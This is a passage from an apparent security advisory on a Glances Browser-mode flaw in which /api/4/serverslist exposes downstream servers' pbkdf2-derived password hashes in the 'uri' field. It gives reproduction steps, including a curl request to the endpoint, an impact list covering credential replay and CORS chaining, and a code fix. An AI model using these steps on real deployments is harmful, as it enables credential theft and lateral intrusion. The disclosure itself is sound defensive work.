Details
Verified output:
[
{
"key": "target:57390",
"name": "127.0.0.1",
"ip": "203.0.113.77",
"port": 57390,
"protocol": "rpc",
"username": "glances",
"password": null,
"status": "PROTECTED",
"type": "STATIC",
"uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390",
"columns": [
"system_hr_name"
]
}
]
This is the same raw object shape that /api/4/serverslist returns.
Step 2: Remote reproduction on a live Browser instance
- Configure Glances Browser mode with a saved default password for downstream servers:
[passwords]
default=SuperSecretBrowserPassword
- Start the Browser/API instance without front-end authentication:
glances --browser -w -C ./glances.conf
- Ensure at least one protected downstream server is polled and marked
PROTECTED.
- From any machine that can reach the Glances Browser API, fetch the raw server list:
curl -s http://TARGET:61208/api/4/serverslist
- Observe entries like:
{
"name": "internal-glances.example",
"status": "PROTECTED",
"uri": "http://glances:<pbkdf2_hash>@internal-glances.example:61209"
}
Impact
- Unauthenticated credential disclosure: When the front Browser API runs without
--password, any reachable user can retrieve downstream Glances authentication secrets from/api/4/serverslist. - Credential replay: The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password.
- Fleet-wide blast radius: A single Browser instance can hold passwords for many downstream servers via host-specific entries or
[passwords] default, so one exposed API can disclose credentials for an entire monitored fleet. - Chains with the earlier CORS issue: Even when the front instance uses
--password, the permissive default CORS behavior can let a malicious website read/api/4/serverslistfrom an authenticated browser session and steal the same downstream credentials cross-origin.
Recommended Fix
Do not expose credential-bearing fields in API responses. At minimum, strip uri, password, and any derived credential material from /api/4/serverslist responses and make the frontend derive navigation targets without embedded auth.
# glances/outputs/glances_restful_api.py
def _sanitize_server(self, server):
safe = dict(server)
safe.pop('password', None)
safe.pop('uri', None)
return safe
def _api_servers_list(self):
self.__update_servers_list()
servers = self.servers_list.get_servers_list() if self.servers_list else []
return GlancesJSONResponse([self._sanitize_server(server) for server in servers])
And in the Browser WebUI, construct navigation URLs from non-secret fields (ip, name, port, protocol) instead of trusting a backend-supplied server.uri.